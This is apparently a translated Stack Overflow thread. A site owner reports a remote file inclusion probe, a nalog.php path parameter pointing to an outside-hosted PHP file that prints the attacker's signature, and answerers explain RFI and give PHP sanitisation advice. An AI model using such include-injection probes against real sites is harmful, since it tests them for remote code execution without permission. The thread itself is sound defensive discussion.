一个叫ShiroHige的家伙正试图黑进我的网站。
他尝试使用此参数打开一个页面:
mysite/dir/nalog.php?path=http://smash2.fileave.com/zfxid1.txt???如果您查看该文本文件,它只是一个die(),
<?php /* ZFxID */ echo("Shiro"."Hige"); die("Shiro"."Hige"); /* ZFxID */ ?>那么他想利用什么漏洞(WordPress?)?
编辑1:
我知道他在尝试使用RFI。
有没有一些流行的脚本可以利用它(Drupal、phpBB等)?
发布于 2011-04-11 02:06:23
攻击者瞄准的漏洞可能是某种远程文件包含,利用PHP的include和类似的函数/构造,允许加载(remote) file并执行其内容:
安全警告
远程文件可以在远程服务器上处理(取决于文件扩展名和远程服务器是否运行PHP ),但它仍然必须生成有效的PHP脚本,因为它将在本地服务器上处理。如果来自远程服务器的文件应该在那里处理并仅输出,则使用readfile()函数要好得多。否则,应特别注意保护远程脚本,以生成有效和所需的代码。
请注意,使用readfile只能避免执行加载的文件。但仍有可能利用它来加载其他内容,然后直接打印给用户。这可用于打印本地文件系统中任何类型文件的普通内容(如Path Traversal)或向页面中注入代码(如Code Injection)。因此,唯一的保护措施是在使用参数值之前对其进行验证。
另请参阅OWASP’s on “File System – Includes and Remote files”以了解更多信息。
发布于 2011-04-11 02:03:08
一个显而易见的例子,就是没有经过消毒的。
他正在检查代码是否被执行。
如果他在响应中找到自己的签名,他将知道您的站点已经准备好运行他发送的任何代码。
为了防止此类攻击,如果文件名碰巧是通过HTTP请求发送的,则必须严格清理文件名。
可以使用basename()函数进行快速且廉价的验证:
if (empty($_GET['page']))
$_GET['page']="index.php";
$page = $modules_dir.basename($_GET['page']).".php";
if (!is_readable($page)) {
header("HTTP/1.0 404 Not Found");
$page="404.html";
}
include $page;或者使用一些正则表达式。
还有一个非常有用的PHP配置指令,称为
allow_url_include在现代的PHP版本中,它默认设置为off。因此它会自动保护您免受此类攻击。
发布于 2011-04-11 02:02:45
他想让你的网站运行他的文件。这可能是一次XSS攻击?不太熟悉这些术语(编辑: RFI - Remote file inclusion)。
很可能他不知道自己在做什么。如果有一种方法可以进入WordPress,那么现在应该已经非常公开了。
https://stackoverflow.com/questions/5613664
复制相似问题